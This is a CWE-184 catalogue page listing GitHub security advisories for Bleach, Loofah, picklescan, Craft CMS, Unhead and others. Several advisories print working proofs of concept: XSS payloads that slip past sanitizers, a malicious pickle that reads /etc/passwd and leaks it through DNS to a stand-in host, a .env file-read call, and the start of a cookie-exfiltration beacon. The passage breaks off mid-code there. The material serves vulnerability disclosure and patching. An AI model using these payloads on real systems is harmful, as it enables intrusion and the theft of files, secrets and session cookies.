Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

366 vulnerabilities reference this CWE, most recent first.

GHSA-8RFP-98V4-MMR6

Vulnerability from github – Published: 2026-06-16 14:06 – Updated: 2026-06-16 14:06
VLAI
Summary
Bleach: URI sanitization allows disallowed URI schemes with Unicode > U+00A0 in output
Details

Impact

A possible XSS bypass affects users calling bleach.clean with all of:

  • a in the allowed tags
  • href in allowed attributes

The bleach.clean sanitizer outputs URIs containing disallowed scheme patterns that it should be stripping. However, because the inserted Unicode characters make the scheme invalid per RFC 3986, modern browsers do not execute these as javascript: URIs. The practical security impact is limited to:

  • Bleach's output contains URI values that violate the caller's protocol allowlist, breaking the sanitizer's contract.
  • If a downstream system performs its own Unicode normalization on bleach's output (stripping invisible characters before rendering), the javascript: scheme could become valid. This is a non-standard processing chain but represents a theoretical secondary risk.

This is not a direct XSS vulnerability.

Python code example from reporter with Bleach v6.3.0 and Python 3.13:

import bleach
payload1 = '<a href="javascript\u200b:alert(document.cookie)">Click me</a>'
result1 = bleach.clean(payload1)
print(f"(ZWSP): {repr(result1)}")

Output:

(ZWSP): '<a href="javascript\u200b:alert(document.cookie)">Click me</a>'

Patches

Users should upgrade to Bleach 6.4.0.

Workarounds

Pre-process content removing non-ASCII characters from URI schemes before sanitizing with bleach.clean.

A strong Content-Security-Policy without unsafe-inline and unsafe-eval script-srcs will also help mitigate the risk.

References

  • https://bugzilla.mozilla.org/show_bug.cgi?id=2023812
  • RFC 3986, Section 3.1 (URI Scheme syntax): scheme characters are restricted to ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )

Reported by

Reported by codeant from CodeAnt AI.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.3.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bleach"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:06:29Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\n\nA possible XSS bypass affects users calling `bleach.clean` with all of:\n\n* `a` in the allowed tags\n* `href` in allowed attributes\n\nThe `bleach.clean` sanitizer outputs URIs containing disallowed scheme patterns that it should be stripping. However, because the inserted Unicode characters make the scheme invalid per RFC 3986, modern browsers do not execute these as javascript: URIs. The practical security impact is limited to:\n\n- Bleach\u0027s output contains URI values that violate the caller\u0027s protocol allowlist, breaking the sanitizer\u0027s contract.\n- If a downstream system performs its own Unicode normalization on bleach\u0027s output (stripping invisible characters before rendering), the javascript: scheme could become valid. This is a non-standard processing chain but represents a theoretical secondary risk.\n\nThis is not a direct XSS vulnerability.\n\nPython code example from reporter with Bleach v6.3.0 and Python 3.13:\n\n```\nimport bleach\npayload1 = \u0027\u003ca href=\"javascript\\u200b:alert(document.cookie)\"\u003eClick me\u003c/a\u003e\u0027\nresult1 = bleach.clean(payload1)\nprint(f\"(ZWSP): {repr(result1)}\")\n```\n\nOutput:\n\n```\n(ZWSP): \u0027\u003ca href=\"javascript\\u200b:alert(document.cookie)\"\u003eClick me\u003c/a\u003e\u0027\n```\n\n### Patches\n\nUsers should upgrade to Bleach 6.4.0.\n\n### Workarounds\n\nPre-process content removing non-ASCII characters from URI schemes before sanitizing with `bleach.clean`.\n\nA strong[ Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without unsafe-inline and unsafe-eval[ script-srcs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=2023812\n* RFC 3986, Section 3.1 (URI Scheme syntax): scheme characters are restricted to ALPHA *( ALPHA / DIGIT / \"+\" / \"-\" / \".\" )\n\n### Reported by \n\nReported by codeant from CodeAnt AI.",
  "id": "GHSA-8rfp-98v4-mmr6",
  "modified": "2026-06-16T14:06:30Z",
  "published": "2026-06-16T14:06:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/bleach/security/advisories/GHSA-8rfp-98v4-mmr6"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2023812"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/bleach"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bleach: URI sanitization allows disallowed URI schemes with Unicode \u003e U+00A0 in output"
}

GHSA-8WCM-622F-3R46

Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-11 18:31
VLAI
Details

OpenClaw before 2026.4.23 contains an improper access control vulnerability in the gateway tool's config.apply and config.patch operations that allows compromised models to write unsafe configuration changes by bypassing an incomplete denylist protection. Attackers can persist malicious config modifications affecting command execution, network behavior, credentials, and operator policies that survive restart.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-45006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-11T18:16:40Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw before 2026.4.23 contains an improper access control vulnerability in the gateway tool\u0027s config.apply and config.patch operations that allows compromised models to write unsafe configuration changes by bypassing an incomplete denylist protection. Attackers can persist malicious config modifications affecting command execution, network behavior, credentials, and operator policies that survive restart.",
  "id": "GHSA-8wcm-622f-3r46",
  "modified": "2026-05-11T18:31:47Z",
  "published": "2026-05-11T18:31:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-cwj3-vqpp-pmxr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/bceda6089aa7b3695cc7696b43c61ae3d01bb0ec"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-unsafe-config-mutation-via-gateway-tool-denylist-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8WHX-365G-H9VV

Vulnerability from github – Published: 2026-07-21 15:04 – Updated: 2026-08-12 20:59
VLAI
Summary
Loofah `allowed_uri?` does not detect `javascript:` URIs split by named whitespace character references
Details

Summary

Loofah::HTML5::Scrub.allowed_uri? does not correctly reject javascript: URIs when the scheme is split or prefixed by the HTML5 named character references &Tab; (tab) or &NewLine; (line feed).

This is a bypass of the fix for GHSA-46fp-8f5p-pf2m, which handled the equivalent numeric character references (&#9;, &#10;, &#13;) but did not cover the named forms.

Details

allowed_uri? decodes HTML entities with CGI.unescapeHTML, which handles numeric character references but not HTML5 named character references. Payloads like java&Tab;script:alert(1) are therefore left intact, so the method does not recognize the javascript: scheme and returns true. A browser, however, decodes &Tab; and &NewLine; to tab and line feed and strips them from the URL during parsing, producing javascript:alert(1).

&Tab; and &NewLine; are the only relevant named character references: across the HTML5 named-character table, they are the only two that decode to characters the WHATWG URL parser strips from a URL (U+0009 and U+000A; there is no named reference for U+000D). &nbsp; / &NonBreakingSpace; decode to U+00A0, which browsers do not strip, so they aren't usable for this bypass.

Note that Loofah's default sanitize() path is not affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the public allowed_uri? string-level helper that pass it HTML-encoded strings.

Impact

Callers that validate a user-controlled URL with Loofah::HTML5::Scrub.allowed_uri? and then render the approved value into an href or other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that call allowed_uri? directly, as well as higher-level features built on top of it, such as Action Text 8.2's markdown link validation.

Mitigation

Upgrade to Loofah >= 2.25.2.

Credit

Responsibly reported by GitHub user @connorshea.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "loofah"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.25.0"
            },
            {
              "fixed": "2.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73491"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T15:04:14Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`Loofah::HTML5::Scrub.allowed_uri?` does not correctly reject `javascript:` URIs when the scheme is split or prefixed by the HTML5 named character references `\u0026Tab;` (tab) or `\u0026NewLine;` (line feed).\n\nThis is a bypass of the fix for [GHSA-46fp-8f5p-pf2m](https://github.com/flavorjones/loofah/security/advisories/GHSA-46fp-8f5p-pf2m), which handled the equivalent numeric character references (`\u0026#9;`, `\u0026#10;`, `\u0026#13;`) but did not cover the named forms.\n\n## Details\n\n`allowed_uri?` decodes HTML entities with `CGI.unescapeHTML`, which handles numeric character references but not HTML5 named character references. Payloads like `java\u0026Tab;script:alert(1)` are therefore left intact, so the method does not recognize the `javascript:` scheme and returns `true`. A browser, however, decodes `\u0026Tab;` and `\u0026NewLine;` to tab and line feed and strips them from the URL during parsing, producing `javascript:alert(1)`.\n\n`\u0026Tab;` and `\u0026NewLine;` are the only relevant named character references: across the HTML5 named-character table, they are the only two that decode to characters the WHATWG URL parser strips from a URL (U+0009 and U+000A; there is no named reference for U+000D). `\u0026nbsp;` / `\u0026NonBreakingSpace;` decode to U+00A0, which browsers do not strip, so they aren\u0027t usable for this bypass.\n\nNote that Loofah\u0027s default `sanitize()` path is **not** affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the public `allowed_uri?` string-level helper that pass it HTML-encoded strings.\n\n## Impact\n\nCallers that validate a user-controlled URL with `Loofah::HTML5::Scrub.allowed_uri?` and then render the approved value into an `href` or other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that call `allowed_uri?` directly, as well as higher-level features built on top of it, such as Action Text 8.2\u0027s markdown link validation.\n\n## Mitigation\n\nUpgrade to Loofah \u003e= 2.25.2.\n\n## Credit\n\nResponsibly reported by GitHub user @connorshea.",
  "id": "GHSA-8whx-365g-h9vv",
  "modified": "2026-08-12T20:59:24Z",
  "published": "2026-07-21T15:04:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/security/advisories/GHSA-8whx-365g-h9vv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/commit/5e91af861e3cdab47b91dd0b81f3afdfd13a5e19"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flavorjones/loofah"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/releases/tag/v2.25.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Loofah `allowed_uri?` does not detect `javascript:` URIs split by named whitespace character references"
}

GHSA-8XFF-W72M-PXVJ

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39
VLAI
Details

Multiple vulnerabilities in the REST API endpoint of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker to view, modify, and delete data without proper authorization. For more information about these vulnerabilities, see the Details section of this advisory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-1135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-20T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple vulnerabilities in the REST API endpoint of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker to view, modify, and delete data without proper authorization.\n For more information about these vulnerabilities, see the Details section of this advisory.\n ",
  "id": "GHSA-8xff-w72m-pxvj",
  "modified": "2022-05-24T17:39:35Z",
  "published": "2022-05-24T17:39:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1135"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dcnm-api-path-TpTApx2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-93MV-X874-956G

Vulnerability from github – Published: 2025-04-07 18:52 – Updated: 2025-04-24 16:02
VLAI
Summary
Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
Details

Summary

Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.

Details

picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.

The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.

The payload executes the following steps:

  • Reads sensitive local file content using linecache module
  • Encodes the data for DNS exfiltration
  • Constructs a malicious domain name using a third party service dnslog.cn
  • Triggers a DNS resolution via ssl.get_server_certificate
  • Leaks the encoded file content to the attacker

PoC

Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".


import numpy as np

def create_malicious_model():
# Define the payload class
    class DNSLogPayload:
        def __reduce__(self):
            # Step 1: read a line from /etc/passwd
            linecache = __import__("linecache")
            first_line = linecache.getline("/etc/passwd", 1).strip()

            # Step 2: Sanitize and embed it as a DNS subdomain
            subdomain = first_line.replace(":", "_").replace("/", "_")
            fqdn = f"{subdomain}.dns-logger.invalid"

            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution
            ssl_mod = __import__("ssl")
            return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))

    # Wrap the payload in a NumPy object array
    arr = np.array([DNSLogPayload()], dtype=object)

    # Save to .npy file
    np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)   

def load_model(model):
    try:
        return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
    except Exception:
        raise ValueError("Invalid file")

if __name__ == "__main__":
    create_malicious_model()
    model = "dnslog_trigger_payload.npy"
    print("[i] Loading and executing the model")
    data = load_model(model)

Impact

  1. Evade detection: Bypasses the latest version of picklescan's blacklist.
  2. Exfiltrate sensitive local files to an attacker controlled DNS
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:52:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan\u2019s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan\u0027s blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS",
  "id": "GHSA-93mv-x874-956g",
  "modified": "2025-04-24T16:02:36Z",
  "published": "2025-04-07T18:52:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/40"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate"
}

GHSA-957R-QF9P-67XW

Vulnerability from github – Published: 2026-08-06 21:54 – Updated: 2026-09-01 21:03
VLAI
Summary
Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts
Details

The create() Twig function (introduced in 5.9.0) allows instantiation of arbitrary PHP classes from template code, restricted only by a 5-entry blocklist. SplFileObject is not in the blocklist, enabling arbitrary file read, including .env (security key, DB credentials) and the passwd file from non-sandboxed Twig template contexts, such as entry type title formats and URI formats.

The sandbox correctly blocks create() in system email templates, so this finding applies only to admin-configured, non-sandboxed contexts that require allowAdminChanges=true.

Prerequisites

  • Admin access to the Craft control panel
  • allowAdminChanges must be true (default in dev/staging, recommended false in production)
  • Admin must be able to edit entry type settings (title format, URI format)
  • Any user who subsequently creates an entry in the affected section triggers the file read

Limitations

  • Requires admin-level access: not exploitable by low-privilege users
  • allowAdminChanges must be true: production best practices recommend false, which prevents entry type configuration changes
  • Per Craft’s own severity guidelines, findings requiring allowAdminChanges=true are rated low
  • The create() function is blocked by the Twig sandbox, so this cannot be exploited via system email templates or any other sandboxed context

Impact

An admin user (or an attacker who has compromised an admin account) can read arbitrary files from the server filesystem by setting a malicious entry type title format using create('SplFileObject', ['/path/to/file']). In production environments, this exposes .env files containing the CRAFT_SECURITY_KEY, database credentials, API keys, and other secrets. The file contents are rendered as entry titles visible to any user with permission to view entries in the affected section.

The impact is limited by the requirement for admin access and allowAdminChanges=true.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T21:54:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The `create()` Twig function (introduced in 5.9.0) allows instantiation of arbitrary PHP classes from template code, restricted only by a 5-entry blocklist. `SplFileObject` is not in the blocklist, enabling arbitrary file read, including `.env` (security key, DB credentials) and the passwd file from non-sandboxed Twig template contexts, such as entry type title formats and URI formats. \n\nThe sandbox correctly blocks `create()` in system email templates, so this finding applies only to admin-configured, non-sandboxed contexts that require `allowAdminChanges=true`.\n\n## Prerequisites\n\n- Admin access to the Craft control panel\n- `allowAdminChanges` must be `true` (default in dev/staging, recommended `false` in production)\n- Admin must be able to edit entry type settings (title format, URI format)\n- Any user who subsequently creates an entry in the affected section triggers the file read\n\n## Limitations\n\n- Requires admin-level access: not exploitable by low-privilege users\n- `allowAdminChanges` must be `true`: production best practices recommend `false`, which prevents entry type configuration changes\n- Per Craft\u2019s own severity guidelines, findings requiring `allowAdminChanges=true` are rated low\n- The `create()` function is blocked by the Twig sandbox, so this cannot be exploited via system email templates or any other sandboxed context\n\n## Impact\n\nAn admin user (or an attacker who has compromised an admin account) can read arbitrary files from the server filesystem by setting a malicious entry type title format using `create(\u0027SplFileObject\u0027, [\u0027/path/to/file\u0027])`. In production environments, this exposes `.env` files containing the `CRAFT_SECURITY_KEY`, database credentials, API keys, and other secrets. The file contents are rendered as entry titles visible to any user with permission to view entries in the affected section.\n\nThe impact is limited by the requirement for admin access and `allowAdminChanges=true`.",
  "id": "GHSA-957r-qf9p-67xw",
  "modified": "2026-09-01T21:03:50Z",
  "published": "2026-08-06T21:54:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-957r-qf9p-67xw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/7c96fd73df936a10e8f85ae6ef61a9fc3f277c12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/87978f11c8f986c40ef41b941d79547230c4d6d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/4.18.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/5.10.6"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/craft-cms-rc1-before-arbitrary-file-read-via-splfileobject"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts"
}

GHSA-95H2-GJ7X-GX9W

Vulnerability from github – Published: 2026-04-09 20:28 – Updated: 2026-04-09 20:28
VLAI
Summary
Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()
Details

EVIDENCE

Screenshot_2026-03-25_090729 Screenshot_2026-03-25_090715 Screenshot_2026-03-25_090759 Screenshot_2026-03-25_090824 Screenshot_2026-03-22_090617

| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 |


Summary

useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps:

// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g

The HTML5 specification imposes no limit on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of : (U+003A):

  • &#0000000058; — 10 decimal digits, exceeds the \d{1,7} cap
  • &#x000003A; — 7 hex digits, exceeds the [0-9a-f]{1,6} cap

When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI.

Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the data-* prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.


Root Cause Analysis

Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)

const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g             // cap: 7 decimal digits max

Why the bypass works

The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode &#x000003A; as : regardless of the number of leading zeros.

Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (java&#0000000058;script:alert(1)) is passed unchanged to the scheme check. startsWith('javascript:') returns false, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM.


Steps to Reproduce

Environment

  • Nuxt: 4.x (current)
  • unhead: 2.1.12 (current at time of report)
  • Node: 20 LTS
  • Chrome: 146+

Step 1 — Create a fresh Nuxt 4 project

npx nuxi init poc
cd poc
npm install

Step 2 — Replace pages/index.vue

<template>
  <div>
    <h1>useHeadSafe bypass PoC</h1>
    <p>View page source or run the curl command below.</p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'

useHeadSafe({
  link: [
    // 10-digit decimal padding — exceeds \d{1,7} cap
    { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' },

    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' }
  ]
})
</script>

Step 3 — Start the dev server and inspect SSR output

npm run dev

In a separate terminal:

curl -s http://localhost:3000 | grep '<link'

Expected result (safe)

Tags stripped entirely, or schemes rewritten to safe placeholder values.

Actual result (vulnerable)

<link href="java&#0000000058;script:alert(1)" rel="stylesheet">
<link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon">

Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol() blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load.


Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Immediate script execution from <link> tags does not occur automatically — browsers do not create a browsing context from <link href>. The exploitability of this bypass therefore depends on whether downstream application code consumes <link> href values.

This is a common pattern in real-world Nuxt applications:

  • Head management libraries that hydrate or re-process <link> tags on the client
  • SEO and analytics scripts that read canonical or icon link values
  • Application features that preview, validate, or forward link URLs into iframes
  • Developer tooling that loads icon URLs for thumbnail generation

Chrome 146+ permits data: URIs loaded into iframes even though top-level data: navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards <link href> into an iframe — triggers confirmed script execution:

// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
  const iframe = document.createElement('iframe');
  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI
  document.body.appendChild(iframe); // alert() fires
}

Full PoC with cookie exfiltration beacon

Replace ADD-YOUR-WEBHOOK-URL-HERE with a webhook.site URL before running.

<template>
  <div>
    <h1>useHeadSafe padded entity bypass — full PoC</h1>
    <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'

onMounted(() => {
  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
  const el = document.getElementById('cookie-display')
  if (el) el.textContent = document.cookie

  // Simulate downstream consumption: load the bypassed icon href into an iframe
  const link = document.querySelector('link[rel="icon"]')
  if (link) {
    const iframe = document.createElement('iframe')
    iframe.src = link.href
    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
    document.body.appendChild(iframe)
  }
})

